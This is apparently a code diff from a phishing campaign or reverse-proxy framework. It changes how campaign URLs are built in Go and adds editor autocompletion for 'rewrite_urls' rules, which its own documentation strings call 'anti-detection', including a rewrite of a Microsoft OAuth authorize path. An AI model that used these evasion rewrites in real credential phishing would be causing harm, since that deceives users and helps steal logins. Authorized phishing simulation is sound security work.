"html"
"io"
"math/rand"
"net/url"
"strings"
"text/template"
"time"
@@ -304,7 +305,28 @@ func (t *Template) CreatePhishingPageWithCampaign(
}
urlIdentifier := campaignTemplate.URLIdentifier.Name.MustGet()
stateIdentifier := campaignTemplate.StateIdentifier.Name.MustGet()
url := fmt.Sprintf("%s?%s=%s&%s=%s", baseURL, urlIdentifier, id, stateIdentifier, stateParam)
// construct URL with original path preserved
fullURL := baseURL + urlPath
// parse existing query parameters to avoid duplicates
parsedURL, err := url.Parse(fullURL)
if err != nil {
return w, fmt.Errorf("failed to parse URL for parameter checking: %w", err)
}
queryParams := parsedURL.Query()
// only add campaign parameters if they don't already exist
if !queryParams.Has(urlIdentifier) {
queryParams.Set(urlIdentifier, id)
}
if !queryParams.Has(stateIdentifier) {
queryParams.Set(stateIdentifier, stateParam)
}
parsedURL.RawQuery = queryParams.Encode()
finalURL := parsedURL.String()
// create deny URL if campaign and deny page exist
denyURL := ""
@@ -314,7 +336,15 @@ func (t *Template) CreatePhishingPageWithCampaign(
campaignID := campaign.ID.MustGet()
denyStateParam, encErr := utils.Encrypt("deny", utils.UUIDToSecret(&campaignID))
if encErr == nil {
denyURL = fmt.Sprintf("%s?%s=%s&%s=%s", baseURL, urlIdentifier, id, stateIdentifier, denyStateParam)
// create deny URL with proper parameter handling
denyParsedURL, _ := url.Parse(fullURL)
denyQueryParams := denyParsedURL.Query()
if !denyQueryParams.Has(urlIdentifier) {
denyQueryParams.Set(urlIdentifier, id)
}
denyQueryParams.Set(stateIdentifier, denyStateParam) // always set deny state
denyParsedURL.RawQuery = denyQueryParams.Encode()
denyURL = denyParsedURL.String()
}
}
}
@@ -329,7 +359,7 @@ func (t *Template) CreatePhishingPageWithCampaign(
data := t.newTemplateDataMapWithDenyURL(
id,
baseURL,
url,
finalURL,
denyURL,
recipient,
"", // trackingPixelPath
+128 -1
View File
@@ -112,6 +112,15 @@ export class ProxyYamlCompletionProvider {
if (context === 'response') {
return this.getNewResponseSuggestions(range);
}
if (context === 'rewrite_urls') {
return this.getNewRewriteUrlsSuggestions(range);
}
if (
context === 'query' &&
this.findParentSection(linesAbove, currentIndent - 2) === 'rewrite_urls'
) {
return this.getNewQueryMappingSuggestions(range);
}
}
// Handle field completions based on context
@@ -134,6 +143,14 @@ export class ProxyYamlCompletionProvider {
return this.getRewriteSuggestions(range);
case 'response':
return this.getResponseSuggestions(range);
case 'rewrite_urls':
return this.getRewriteUrlsSuggestions(range);
case 'query':
// Check if we're in a rewrite_urls context
if (this.findParentSection(linesAbove, currentIndent - 2) === 'rewrite_urls') {
return this.getQueryMappingSuggestions(range);
}
return [];
default:
return [];
}
@@ -167,9 +184,11 @@ export class ProxyYamlCompletionProvider {
if (key === 'access') return 'access';
if (key === 'capture') return 'capture';
if (key === 'rewrite') return 'rewrite';
if (key === 'rewrite_urls') return 'rewrite_urls';
if (key === 'response') return 'response';
if (key === 'on_deny') return 'on_deny';
if (key === 'paths') return 'paths';
if (key === 'query') return 'query';
}
}
@@ -231,6 +250,13 @@ export class ProxyYamlCompletionProvider {
insertText: 'response:',
documentation: 'Global response rules',
range
},
{
label: 'rewrite_urls',
kind: this.monaco.languages.CompletionItemKind.Module,
insertText: 'rewrite_urls:',
documentation: 'Global URL rewrite rules for anti-detection',
range
}
];
}
@@ -271,6 +297,13 @@ export class ProxyYamlCompletionProvider {
insertText: 'response:',
documentation: 'Domain response rules',
range
},
{
label: 'rewrite_urls',
kind: this.monaco.languages.CompletionItemKind.Module,
insertText: 'rewrite_urls:',
documentation: 'Domain URL rewrite rules for anti-detection',
range
}
];
}
@@ -567,6 +600,97 @@ export class ProxyYamlCompletionProvider {
];
}
getRewriteUrlsSuggestions(range) {
return [
{
label: 'find',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'find: "^/path/to/match$"',
documentation: 'Regex pattern to match URL path',
range
},
{
label: 'replace',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'replace: "/new/path"',
documentation: 'Replacement path for matched URLs',
range
},
{
label: 'query',
kind: this.monaco.languages.CompletionItemKind.Module,
insertText: 'query:',
documentation: 'Query parameter mappings',
range
},
{
label: 'filter',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'filter: ["client_id", "state"]',
documentation: 'Query parameters to keep (if empty, keep all)',
range
}
];
}
getNewRewriteUrlsSuggestions(range) {
return [
{
label: 'url rewrite rule',
kind: this.monaco.languages.CompletionItemKind.Snippet,
insertText:
'find: "/common/oauth2/v2\\.0/authorize"\n replace: "/signin"\n query:\n - find: "response_type"\n replace: "type"\n filter: ["client_id", "state"]',
documentation: 'New URL rewrite rule for anti-detection',
range
},
{
label: 'simple path rewrite',
kind: this.monaco.languages.CompletionItemKind.Snippet,
insertText: 'find: "/original/path"\n replace: "/new/path"',
documentation: 'Simple path rewrite without query changes',
range
}
];
}
getQueryMappingSuggestions(range) {
return [
{
label: 'find',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'find: "client_id"',
documentation: 'Original query parameter name to find',
range
},
{
label: 'replace',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'replace: "app_id"',
documentation: 'New query parameter name to replace with',
range
}
];
}
getNewQueryMappingSuggestions(range) {
return [
{
label: 'query mapping',
kind: this.monaco.languages.CompletionItemKind.Snippet,
insertText: 'find: "client_id"\n replace: "app_id"',
documentation: 'Map query parameter names for anti-detection',
range
},
{
label: 'oauth parameter mapping',
kind: this.monaco.languages.CompletionItemKind.Snippet,
insertText: 'find: "response_type"\n replace: "type"',
documentation: 'Common OAuth parameter mapping',
range
}
];
}
getModeSuggestions(range) {
return [
{
@@ -824,7 +948,10 @@ export class ProxyYamlCompletionProvider {
action: 'DOM action: setText, setHtml, setAttr, removeAttr, addClass, removeClass, remove',
target:
'Target matching: "first", "last", "all" (default), "1,3,5" (specific), "2-4" (range)',
to: 'Target phishing domain for this original domain'
to: 'Target phishing domain for this original domain',
rewrite_urls: 'URL rewrite rules for anti-detection - changes paths and query parameters',
query: 'Query parameter mappings for URL rewriting',
filter: 'Query parameters to keep (if empty, keep all)'
};
return hoverData[word] || null;